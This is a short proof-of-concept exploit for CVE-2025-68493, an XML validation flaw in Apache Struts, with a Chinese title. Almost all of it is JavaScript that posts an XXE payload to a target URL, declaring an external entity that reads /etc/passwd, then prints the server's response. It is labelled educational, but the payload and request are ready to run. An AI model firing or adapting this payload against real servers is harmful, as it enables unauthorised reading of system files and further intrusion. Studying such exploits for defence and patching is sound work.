CVE-2025-68493 Apache Struts XML验证缺失漏洞

// CVE-2025-68493 PoC - XML Validation Bypass // Target: Apache Struts < 6.1.1 // Note: This is a conceptual PoC for educational purposes only const axios = require('axios'); // Malicious XML payload exploiting missing validation const xmlPayload = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data> <value>&file;</value> <type>malicious</type> </data>`; async function exploitCVE202568493(targetUrl) { try { const response = await axios.post(targetUrl, xmlPayload, { headers: { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' }, timeout: 10000 }); console.log('Response Status:', response.status); console.log('Response Data:', response.data); return response.data; } catch (error) { if (error.response) { console.log('Exploit sent, check server response'); return error.response.data; } console.error('Error:', error.message); return null; } } // Usage // const target = 'http://target-server/struts2/action'; // exploitCVE202568493(target);